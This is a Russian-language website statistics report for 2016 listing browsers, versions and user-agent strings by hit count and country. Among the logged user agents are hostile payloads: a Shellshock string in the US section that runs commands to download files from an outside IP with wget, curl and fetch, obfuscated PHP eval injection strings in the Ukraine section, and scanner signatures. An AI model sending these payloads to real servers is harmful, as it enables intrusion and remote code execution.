Отчет для 2016: Браузеры
Период отчета:  
Отчет создан в Пн Фев 13, 2017 - 19:11:05

Браузеры

Использование браузеров по дням


Наиболее используемые браузеры


Наиболее используемые браузеры
Браузер Хиты Посетители % от всех посетителей
1 Google Chrome 350 328 22 104 40,64%
2 Internet Explorer 62 226 7 955 14,63%
3 Firefox 60 100 7 040 12,94%
4 Opera 57 106 5 106 9,39%
5 Другие 7 525 4 389 8,07%
6 Mobile Safari 14 776 1 429 2,63%
7 OdklBot/1.0 (share@odnoklassniki.ru) 888 865 1,59%
8 Microsoft Edge 13 343 614 1,13%
9 Android Browser 12 506 545 1,00%
10 WEBDAV Client 425 423 0,78%
11 Safari 5 576 227 0,42%
12 MobileSafari/602.1 CFNetwork/808.0.2 Darwin/16.0.0 1 918 184 0,34%
13 MobileSafari/9537.53 CFNetwork/672.1.13 Darwin/14.0.0 475 155 0,28%
14 MobileSafari/602.1 CFNetwork/808.1.4 Darwin/16.1.0 1 590 133 0,24%
15 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-A310F Build/MMB29K) 217 129 0,24%
16 Mozilla/5.0 (compatible; Uptimebot/1.0; +http://www.uptime.com/uptimebot) 136 124 0,23%
17 Riddler (http://riddler.io/about) 697 119 0,22%
18 Mozilla/5.0 zgrab/0.x 104 104 0,19%
19 Mozilla/5.0 91 87 0,16%
20 Stratagems Kumo 228 73 0,13%
21 Wget 220 68 0,13%
22 Mozilla/5.0 (compatible; statdom.ru/Bot; +http://statdom.ru/bot.html) 142 55 0,10%
23 Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com) 106 53 0,10%
24 MobileSafari/602.1 CFNetwork/808.2.16 Darwin/16.3.0 550 45 0,08%
25 Telesphoreo 45 45 0,08%
26 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) 48 43 0,08%
27 Safari/12602.1.50.0.10 CFNetwork/807.0.4 Darwin/16.0.0 (x86_64) 576 43 0,08%
28 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) 42 41 0,08%
29 Safari/12602.2.14.0.7 CFNetwork/807.1.3 Darwin/16.1.0 (x86_64) 504 41 0,08%
30 curl/7.38.0 40 40 0,07%
31 masscan/1.0 (https://github.com/robertdavidgraham/masscan) 39 39 0,07%
32 ZmEu 306 38 0,07%
33 Microsoft-WebDAV-MiniRedir/5.1.2600 577 37 0,07%
34 Mozilla 236 36 0,07%
35 Mozilla/5.0 (compatible; openstat.ru/Bot) 281 36 0,07%
36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.2.14 (KHTML, like Gecko) 39 36 0,07%
37 Safari/11602.2.14.0.7 CFNetwork/760.6.3 Darwin/15.6.0 (x86_64) 426 34 0,06%
38 Mozilla/5.0 (compatible; Mail.RU/2.0c) 874 34 0,06%
39 C-T bot 35 29 0,05%
40 Mozilla/5.0 (compatible; vkShare; +http://vk.com/dev/Share) 34 27 0,05%
41 Safari/11602.3.12.0.1 CFNetwork/760.6.3 Darwin/15.6.0 (x86_64) 300 25 0,05%
42 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.3.12 (KHTML, like Gecko) 25 25 0,05%
43 Safari/12602.3.12.0.1 CFNetwork/807.2.14 Darwin/16.3.0 (x86_64) 288 24 0,04%
44 Safari/11602.1.50.0.10 CFNetwork/760.6.3 Darwin/15.6.0 (x86_64) 318 24 0,04%
45 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/602.3.12 (KHTML, like Gecko) 24 24 0,04%
46 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) 27 24 0,04%
47 Go http package 23 23 0,04%
48 SafeDNSBot (https://www.safedns.com/searchbot) 110 23 0,04%
49 Safari/11601.5.17.1 CFNetwork/760.4.2 Darwin/15.4.0 (x86_64) 112 23 0,04%
50 YahooCacheSystem; YahooWebServiceClient 24 22 0,04%
Итого 596 626 52 862 97,20%
Всего 634 766 54 386 100,00%


 

IE and Edge Versions

Daily Internet Explorer and Microsoft Edge Versions


Internet Explorer and Microsoft Edge Versions


Internet Explorer and Microsoft Edge Versions
Браузер Хиты Посетители % от всех посетителей
1 Internet Explorer 8.x 13 267 3 112 36,34%
2 Internet Explorer 11.x 35 762 2 390 27,91%
3 Internet Explorer 6.x 3 887 1 157 13,51%
4 Internet Explorer 9.x 3 909 495 5,78%
5 Internet Explorer 10.x 3 241 475 5,55%
6 Microsoft Edge 13.x 12 014 408 4,76%
7 Internet Explorer 5.x 493 177 2,07%
8 Microsoft Edge 14.x 1 803 170 1,99%
9 Internet Explorer 7.x 571 94 1,10%
10 Microsoft Edge 12.x 494 36 0,42%
11 Internet Explorer 2.x 81 30 0,35%
12 Internet Explorer 3.x 25 11 0,13%
13 Internet Explorer 4.x 21 8 0,09%
14 Internet Explorer 999.x 1 1 0,01%
Всего 75 569 8 564 100,00%


 

Версии Firefox

Использование версий Firefox по дням


Версии Firefox


Версии Firefox
Браузер Хиты Посетители % от всех посетителей
1 Firefox 9.0.x 6 630 854 12,13%
2 Firefox 47.0.x 9 178 713 10,13%
3 Firefox 43.0.x 6 838 701 9,96%
4 Firefox 44.0.x 7 448 641 9,11%
5 Firefox 45.0.x 3 651 601 8,54%
6 Firefox 31.0.x 617 542 7,70%
7 Firefox 46.0.x 4 245 444 6,31%
8 Firefox 49.0.x 2 466 435 6,18%
9 Firefox 50.0.x 5 158 305 4,33%
10 Firefox 48.0.x 5 341 227 3,22%
11 Firefox 18.0.x 801 213 3,03%
12 Firefox 6.0.x 121 116 1,65%
13 Firefox 25.0.x 628 92 1,31%
14 Firefox 1.0.x 99 86 1,22%
15 Firefox 34.0.x 254 85 1,21%
16 Firefox 42.0.x 843 79 1,12%
17 Firefox 38.0.x 460 78 1,11%
18 Firefox 12.0.x 598 63 0,89%
19 Firefox 3.6.x 1 474 55 0,78%
20 Firefox 40.1.x 112 53 0,75%
21 Firefox 40.0.x 72 48 0,68%
22 Firefox 5.0.x 49 42 0,60%
23 Firefox 39.0.x 135 42 0,60%
24 Firefox 26.0.x 399 41 0,58%
25 Firefox 28.0.x 60 41 0,58%
26 Firefox 29.0.x 39 37 0,53%
27 Firefox 41.0.x 580 35 0,50%
28 Firefox 4.0.x 199 34 0,48%
29 Firefox 14.0.x 168 34 0,48%
30 Firefox 35.0.x 37 31 0,44%
31 Firefox 21.0.x 69 28 0,40%
32 Firefox 2.0.x 45 20 0,28%
33 Firefox 3.0.x 43 19 0,27%
34 Firefox 37.0.x 34 16 0,23%
35 Firefox 11.0.x 22 16 0,23%
36 Firefox 27.0.x 31 16 0,23%
37 Firefox 30.0.x 434 13 0,18%
38 Firefox 7.0.x 236 12 0,17%
39 Firefox 3.5.x 24 12 0,17%
40 Firefox 33.0.x 34 12 0,17%
41 Firefox 36.0.x 231 11 0,16%
42 Firefox 10.0.x 13 10 0,14%
43 Firefox 17.0.x 13 10 0,14%
44 Firefox 23.0.x 13 10 0,14%
45 Firefox 13.0.x 10 9 0,13%
46 Firefox 32.0.x 11 8 0,11%
47 Firefox 24.0.x 20 7 0,10%
48 Firefox 20.0.x 7 7 0,10%
49 Firefox 22.0.x 22 7 0,10%
50 Firefox 16.0.x 9 6 0,09%
Итого 60 021 7 017 99,67%
Всего 60 100 7 040 100,00%


 

Версии Chrome

Использование версий Google Chrome по дням


Версии Google Chrome


Версии Google Chrome
Браузер Хиты Посетители % от всех посетителей
1 Google Chrome 49.0.x 66 286 3 191 14,44%
2 Google Chrome 47.0.x 23 457 2 964 13,41%
3 Google Chrome 50.0.x 89 350 2 592 11,73%
4 Google Chrome 51.0.x 42 252 2 052 9,28%
5 Google Chrome 53.0.x 27 262 1 739 7,87%
6 Google Chrome 52.0.x 38 128 1 735 7,85%
7 Google Chrome 54.0.x 18 430 1 608 7,27%
8 Google Chrome 48.0.x 8 322 1 209 5,47%
9 Google Chrome 46.0.x 4 573 1 200 5,43%
10 Google Chrome 44.0.x 5 852 433 1,96%
11 Google Chrome 55.0.x 4 773 422 1,91%
12 Google Chrome 30.0.x 4 035 356 1,61%
13 Google Chrome 45.0.x 1 797 312 1,41%
14 Google Chrome 37.0.x 360 195 0,88%
15 Google Chrome 43.0.x 847 195 0,88%
16 Google Chrome 31.0.x 848 177 0,80%
17 Google Chrome 56.0.x 1 302 155 0,70%
18 Google Chrome 28.0.x 1 310 151 0,68%
19 Google Chrome 40.0.x 1 954 149 0,67%
20 Google Chrome 41.0.x 203 141 0,64%
21 Google Chrome 42.0.x 1 572 125 0,57%
22 Google Chrome 47.5.x 2 635 122 0,55%
23 Google Chrome 38.0.x 493 113 0,51%
24 Google Chrome 33.0.x 327 86 0,39%
25 Google Chrome 19.0.x 92 76 0,34%
26 Google Chrome 39.0.x 553 67 0,30%
27 Google Chrome 34.0.x 205 62 0,28%
28 Google Chrome 36.0.x 856 52 0,24%
29 Google Chrome 57.0.x 52 37 0,17%
30 Google Chrome 35.0.x 115 30 0,14%
31 Google Chrome 24.0.x 226 29 0,13%
32 Google Chrome 26.0.x 145 29 0,13%
33 Google Chrome 27.0.x 34 29 0,13%
34 Google Chrome 23.0.x 104 27 0,12%
35 Google Chrome 5.0.x 53 25 0,11%
36 Google Chrome 22.0.x 43 22 0,10%
37 Google Chrome 28.1.x 69 18 0,08%
38 Google Chrome 20.0.x 60 17 0,08%
39 Google Chrome 25.0.x 53 16 0,07%
40 Google Chrome 17.0.x 29 15 0,07%
41 Google Chrome 32.0.x 45 14 0,06%
42 Google Chrome 11.0.x 155 13 0,06%
43 Google Chrome 29.0.x 750 12 0,05%
44 Google Chrome 18.0.x 71 12 0,05%
45 Google Chrome 44.4.x 92 12 0,05%
46 Google Chrome 13.0.x 7 7 0,03%
47 Google Chrome 15.0.x 43 7 0,03%
48 Google Chrome 12.0.x 9 7 0,03%
49 Google Chrome 21.0.x 12 6 0,03%
50 Google Chrome 14.0.x 7 5 0,02%
Итого 350 248 22 068 99,84%
Всего 350 328 22 104 100,00%


 

Версии Opera

Использование версий Opera по дням


Версии Opera


Версии Opera
Браузер Хиты Посетители % от всех посетителей
1 Opera 36.0.x 8 613 742 14,53%
2 Opera 38.0.x 9 388 734 14,38%
3 Opera 12.1.x 12 012 559 10,95%
4 Opera 35.0.x 3 172 442 8,66%
5 Opera 41.0.x 5 883 404 7,91%
6 Opera 34.0.x 2 181 397 7,78%
7 Opera 37.0.x 4 691 324 6,35%
8 Opera 39.0.x 1 992 246 4,82%
9 Opera 40.0.x 1 589 230 4,50%
10 Opera 33.0.x 2 815 136 2,66%
11 Opera 8.0.x 299 106 2,08%
12 Opera 9.0.x 322 104 2,04%
13 Opera 42.0.x 582 94 1,84%
14 Opera 11.1.x 436 59 1,16%
15 Opera 18.0.x 533 50 0,98%
16 Opera 12.0.x 458 39 0,76%
17 Opera 30.0.x 245 38 0,74%
18 Opera 32.0.x 135 37 0,72%
19 Opera 7.0.x 101 36 0,71%
20 Opera 7.5.x 96 30 0,59%
21 Opera 6.0.x 78 27 0,53%
22 Opera 8.5.x 68 26 0,51%
23 Opera 7.1.x 89 25 0,49%
24 Opera 31.0.x 51 24 0,47%
25 Opera 28.0.x 242 22 0,43%
26 Opera 20.0.x 39 19 0,37%
27 Opera 7.6.x 54 17 0,33%
28 Opera 11.6.x 102 13 0,25%
29 Opera 10.6.x 26 9 0,18%
30 Opera 17.0.x 14 8 0,16%
31 Opera 26.0.x 26 8 0,16%
32 Opera 25.0.x 13 8 0,16%
33 Opera 29.0.x 11 8 0,16%
34 Opera 21.0.x 51 7 0,14%
35 Opera 19.0.x 6 6 0,12%
36 Opera 11.0.x 6 6 0,12%
37 Opera 36.1.x 110 6 0,12%
38 Opera 22.0.x 252 6 0,12%
39 Opera 10.0.x 5 5 0,10%
40 Opera 11.5.x 5 5 0,10%
41 Opera 27.0.x 210 5 0,10%
42 Opera 24.0.x 13 5 0,10%
43 Opera 16.0.x 7 5 0,10%
44 Opera 36.2.x 39 5 0,10%
45 Opera 9.1.x 4 4 0,08%
46 Opera 15.0.x 5 4 0,08%
47 Opera 23.0.x 3 3 0,06%
48 Opera 14.0.x 24 3 0,06%
49 Opera 10.1.x 2 2 0,04%
50 Opera 10.5.x 2 2 0,04%
Итого 57 100 5 100 99,88%
Всего 57 106 5 106 100,00%


 

Браузеры и страны

Браузеры и страны
Браузер Хиты Посетители % от всех посетителей
Россия
1 Google Chrome 309 620 18 075 49,12%
2 Firefox 52 263 4 532 12,32%
3 Internet Explorer 50 778 3 582 9,73%
4 Opera 34 653 3 414 9,28%
5 Другие 3 693 2 211 6,01%
6 Mobile Safari 11 476 1 161 3,16%
7 OdklBot/1.0 (share@odnoklassniki.ru) 888 865 2,35%
8 Microsoft Edge 7 882 438 1,19%
9 Android Browser 9 581 423 1,15%
10 MobileSafari/602.1 CFNetwork/808.0.2 Darwin/16.0.0 1 798 174 0,47%
11 Safari 5 411 163 0,44%
12 MobileSafari/9537.53 CFNetwork/672.1.13 Darwin/14.0.0 475 155 0,42%
13 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-A310F Build/MMB29K) 217 129 0,35%
14 MobileSafari/602.1 CFNetwork/808.1.4 Darwin/16.1.0 690 61 0,17%
15 Mozilla/5.0 (compatible; statdom.ru/Bot; +http://statdom.ru/bot.html) 142 55 0,15%
16 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) 48 43 0,12%
17 Safari/12602.1.50.0.10 CFNetwork/807.0.4 Darwin/16.0.0 (x86_64) 576 43 0,12%
18 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.2.14 (KHTML, like Gecko) 39 36 0,10%
19 Safari/12602.2.14.0.7 CFNetwork/807.1.3 Darwin/16.1.0 (x86_64) 432 35 0,10%
20 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) 36 35 0,10%
21 Safari/11602.2.14.0.7 CFNetwork/760.6.3 Darwin/15.6.0 (x86_64) 426 34 0,09%
22 Mozilla/5.0 (compatible; Mail.RU/2.0c) 874 34 0,09%
23 C-T bot 35 29 0,08%
24 Mozilla/5.0 33 29 0,08%
25 Mozilla/5.0 (compatible; vkShare; +http://vk.com/dev/Share) 34 27 0,07%
26 curl/7.38.0 26 26 0,07%
27 Safari/11602.3.12.0.1 CFNetwork/760.6.3 Darwin/15.6.0 (x86_64) 300 25 0,07%
28 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.3.12 (KHTML, like Gecko) 25 25 0,07%
29 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) 27 24 0,07%
30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/602.3.12 (KHTML, like Gecko) 24 24 0,07%
31 Safari/11602.1.50.0.10 CFNetwork/760.6.3 Darwin/15.6.0 (x86_64) 318 24 0,07%
32 Safari/12602.3.12.0.1 CFNetwork/807.2.14 Darwin/16.3.0 (x86_64) 288 24 0,07%
33 MobileSafari/602.1 CFNetwork/808.2.16 Darwin/16.3.0 270 24 0,07%
34 Safari/11601.5.17.1 CFNetwork/760.4.2 Darwin/15.4.0 (x86_64) 112 23 0,06%
35 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/601.5.17 (KHTML, like Gecko) 22 22 0,06%
36 Safari/11601.4.4 CFNetwork/760.2.6 Darwin/15.3.0 (x86_64) 81 21 0,06%
37 Yo-yo 20 20 0,05%
38 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) 17 17 0,05%
39 Safari/11601.7.7 CFNetwork/760.6.3 Darwin/15.6.0 (x86_64) 85 17 0,05%
40 Mozilla/5.0 (compatible; StatOnlineRuBot/1.0) 17 17 0,05%
41 PycURL/7.19.5.3 libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3 15 15 0,04%
42 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/601.6.17 (KHTML, like Gecko) 15 15 0,04%
43 Safari/11601.6.17 CFNetwork/760.5.1 Darwin/15.5.0 (x86_64) 75 15 0,04%
44 PycURL/7.43.0 libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3 14 14 0,04%
45 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/601.4.4 (KHTML, like Gecko) 13 13 0,04%
46 python-requests/2.4.3 CPython/2.7.9 Linux/3.16.0-4-686-pae 12 12 0,03%
47 Wget 12 12 0,03%
48 OdklBot/1.0 (klass@odnoklassniki.ru) 22 12 0,03%
49 Mozilla/5.0 (compatible; tcinet.ru/Bot) 81 11 0,03%
50 curl/7.35.0 15 11 0,03%
Украина
1 Internet Explorer 4 053 1 221 30,97%
2 Google Chrome 2 668 978 24,81%
3 Opera 2 393 806 20,45%
4 Firefox 1 626 412 10,45%
5 Другие 199 171 4,34%
6 Microsoft Edge 3 170 123 3,12%
7 Mobile Safari 77 32 0,81%
8 Android Browser 61 23 0,58%
9 Mozilla/4.76 [en] (Windows NT 5.0; U) 58 21 0,53%
10 Mozilla/0.91 Beta (Windows) 55 19 0,48%
11 Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows) 46 18 0,46%
12 Mozilla/4.7 (compatible; OffByOne; Windows 2000) Webster Pro V3.4 51 18 0,46%
13 Mozilla/3.0 (x86 [en] Windows NT 5.1; Sun) 57 17 0,43%
14 Mozilla/0.6 Beta (Windows) 35 14 0,36%
15 Mozilla/4.79 [en] (Windows NT 5.0; U) 33 14 0,36%
16 Mozilla/3.0 (compatible; WebCapture 2.0; Auto; Windows) 33 11 0,28%
17 Safari 28 9 0,23%
18 Mozilla/4.0 (compatible; Synapse) 5 3 0,08%
19 curl/7.50.1 2 2 0,05%
20 Scanbot 2 2 0,05%
21 python-requests/2.4.3 CPython/2.7.9 Linux/3.16.0-4-686-pae 2 2 0,05%
22 Mozilla 3 2 0,05%
23 Wget 2 2 0,05%
24 Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/15.1.122860578 Mobile/12F70 Safari/600.1.4 2 1 0,03%
25 Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/10.0.63022 Mobile/11D201 Safari/9537.53 1 1 0,03%
26 Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/21.1.139288856 Mobile/14A403 Safari/600.1.4 1 1 0,03%
27 Mozilla/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/20.3.136880903 Mobile/14B100 Safari/600.1.4 1 1 0,03%
28 python-requests/2.2.1 CPython/3.4.3 Linux/3.13.0-105-generic 2 1 0,03%
29 curl/7.47.0 1 1 0,03%
30 Odnoklassniki/5.0.0.10 CFNetwork/758.2.8 Darwin/15.0.0 1 1 0,03%
31 Dalvik/1.6.0 (Linux; U; Android 4.2.2; ImPAD9704_v2 Build/JDQ39) 1 1 0,03%
32 Mozilla/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) YaBrowser/16.7.1.21152.11 Mobile/13G36 Safari/601.1 1 1 0,03%
33 Dalvik/1.6.0 (Linux; U; Android 4.4.2; PSP3450DUO Build/KOT49H) 1 1 0,03%
34 Dalvik/1.6.0 (Linux; U; Android 4.4.2; Lenovo A536 Build/KOT49H) 1 1 0,03%
35 Dalvik/1.6.0 (Linux; U; Android 4.4.2; GT-P5200 Build/KOT49H) 1 1 0,03%
36 Gecko/20070817 IceWeasel/2.0.0.6-g3{${eval(chr(100).chr(105).chr(101) .chr(40).chr(39).chr(49).chr(55).chr(73).chr(53).chr(51) .chr(48).chr(86).chr(65).chr(117).chr(52).chr(39).chr(41).chr(59))}} 1 1 0,03%
37 Gecko/20070817 IceWeasel/2.0.0.6-g3<?php eval(chr(100).chr(105).chr(101).chr(40).chr(39).chr(49) .chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65) .chr(117).chr(52).chr(39).chr(41).chr(59)); ?> 1 1 0,03%
38 Gecko/20070817 IceWeasel/2.0.0.6-g3'"` 3 1 0,03%
39 Mozilla/5.0 1 1 0,03%
40 Mozilla/5.0 (iPad; CPU OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) FxiOS/1.4 Mobile/13C75 Safari/601.1.46 1 1 0,03%
41 Mozilla/5.0 (iPad; CPU OS 9_2_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/15.0.122066290 Mobile/13D15 Safari/600.1.4 5 1 0,03%
42 Mozilla/5.0 (iPad; CPU OS 9_3_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/13G35 Safari/9537.53 1 1 0,03%
43 Mozilla/5.0 (Linux; U; Android 4.4.2; zh-cn; C10102; Android/4.4.2; Release/10.29.2015) AppleWebKit/534.30 (KHTML, like Gecko) Mobile Safari/534.30 8 1 0,03%
44 Mozilla/5.0 (X11; U; Linux x86_64; uk-UA; rv:1.8.6) 1 1 0,03%
45 Mozilla/5.0 (iPad; CPU OS 10_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/18.1.132077863 Mobile/14A456 Safari/600.1.4 1 1 0,03%
США
1 Google Chrome 4 962 864 30,84%
2 Internet Explorer 881 506 18,06%
3 Другие 772 491 17,52%
4 Firefox 1 405 216 7,71%
5 Mozilla/5.0 (compatible; Uptimebot/1.0; +http://www.uptime.com/uptimebot) 135 123 4,39%
6 WEBDAV Client 86 85 3,03%
7 Mozilla/5.0 zgrab/0.x 60 60 2,14%
8 Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com) 106 53 1,89%
9 Telesphoreo 45 45 1,61%
10 Mobile Safari 28 26 0,93%
11 Mozilla/5.0 25 25 0,89%
12 YahooCacheSystem; YahooWebServiceClient 24 22 0,79%
13 Go http package 21 21 0,75%
14 ZmEu 94 15 0,54%
15 Opera 22 14 0,50%
16 Mozilla/5.0 (compatible; spbot/5.0.2; +http://OpenLinkProfiler.org/bot ) 11 269 12 0,43%
17 Cloud mapping experiment. Contact research@pdrlabs.net 12 12 0,43%
18 Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html) 12 12 0,43%
19 Mozilla/5.0 (compatible; SiteExplorer/1.0b; +http://siteexplorer.info/) 394 11 0,39%
20 BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 ips-agent 16 10 0,36%
21 masscan/1.0 (https://github.com/robertdavidgraham/masscan) 9 9 0,32%
22 Safari 35 9 0,32%
23 Mozilla 56 8 0,29%
24 Mozilla/5.0 (compatible; spbot/5.0.3; +http://OpenLinkProfiler.org/bot ) 7 748 8 0,29%
25 panscient.com 230 7 0,25%
26 Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5 17 7 0,25%
27 Mozilla/5.0 Project 25499 (project25499.com) 7 7 0,25%
28 Mozilla/5.0 (compatible; DomainAppender /1.0; +http://www.profound.net/domainappender) 18 6 0,21%
29 Mozilla/5.0 (compatible; spbot/5.0; +http://OpenLinkProfiler.org/bot ) 5 466 6 0,21%
30 the beast 6 5 0,18%
31 python-requests/2.9.1 10 5 0,18%
32 StatsInfo 5 5 0,18%
33 Mozilla/5.0 (compatible; spbot/5.0.1; +http://OpenLinkProfiler.org/bot ) 4 555 5 0,18%
34 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) Qt/4.8.2 81 4 0,14%
35 Android Browser 39 4 0,14%
36 Python-urllib/1.17 4 4 0,14%
37 Microsoft Edge 20 4 0,14%
38 Mozilla/4.0 (compatible; Synapse) 4 4 0,14%
39 Mozilla/5.0 (compatible; heritrix/3.3.0-SNAPSHOT-20160721-2308 +http://www.exif-search.com) 10 3 0,11%
40 WWW-Mechanize/1.73 3 3 0,11%
41 Morfeus Fucking Scanner 3 3 0,11%
42 Mozilla/5.0 (Windows NT 6.1) (compatible; SMTBot/1.0; +http://www.similartech.com/smtbot) 302 3 0,11%
43 Mozilla/5.0 (compatible; CloudFlare-AlwaysOnline/1.0; +http://www.cloudflare.com/always-online) AppleWebKit/534.34 3 3 0,11%
44 python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-327.28.2.el7.x86_64 2 2 0,07%
45 HTTP_Request2/2.3.0 (http://pear.php.net/package/http_request2) PHP/5.3.3 3 2 0,07%
46 IPS/1.0 10 2 0,07%
47 semanticbot (info@semanticaudience.com) 5 2 0,07%
48 Nokia200/2.0 (11.95) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; en-US; Nokia200) U2/1.0.0 UCBrowser/9.5.0.449 U2/1.0.0 Mobile 2 2 0,07%
49 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!";system("wget http://185.125.4.222/YOUR_URL_HERE ; curl -O http://185.125.4.222/YOUR_URL_HERE ; fetch http://185.125.4.222/YOUR_URL_HERE");' 24 2 0,07%
50 Mozilla/5.0 (compatible; PrivacyAwareBot/1.1; +http://www.privacyaware.org) 3 2 0,07%
Япония
1 Internet Explorer 2 197 2 116 97,78%
2 Другие 41 37 1,71%
3 Google Chrome 5 3 0,14%
4 Firefox 2 2 0,09%
5 Opera 1 1 0,05%
6 Safari 1 1 0,05%
7 masscan/1.0 (https://github.com/robertdavidgraham/masscan) 1 1 0,05%
8 Mobile Safari 1 1 0,05%
9 Mozilla/3.0 (compatible; Indy Library) 1 1 0,05%
10 Mozilla/5.0 (Windows NT 10.0; WOW64) 1 1 0,05%
Нет данных
1 Google Chrome 25 009 640 33,28%
2 Opera 12 801 458 23,82%
3 Firefox 903 160 8,32%
4 Internet Explorer 3 378 144 7,49%
5 Другие 295 135 7,02%
6 Mobile Safari 3 006 119 6,19%
7 MobileSafari/602.1 CFNetwork/808.1.4 Darwin/16.1.0 740 58 3,02%
8 WEBDAV Client 37 37 1,92%
9 Microsoft-WebDAV-MiniRedir/5.1.2600 574 36 1,87%
10 MobileSafari/602.1 CFNetwork/808.2.16 Darwin/16.3.0 280 21 1,09%
11 Android Browser 2 635 20 1,04%
12 Microsoft Edge 1 265 19 0,99%
13 curl/7.38.0 14 14 0,73%
14 apache 0day by @hxmonsegur 13 13 0,68%
15 MobileSafari/602.1 CFNetwork/808.0.2 Darwin/16.0.0 120 10 0,52%
16 Mozilla/5.0 6 6 0,31%
17 Safari 36 5 0,26%
18 python-requests/2.7.0 CPython/2.7.10 Linux/3.2.0-4-amd64 4 4 0,21%
19 censys.io internet census 2 2 0,10%
20 Safari/12602.2.14.0.7 CFNetwork/807.1.3 Darwin/16.1.0 (x86_64) 24 2 0,10%
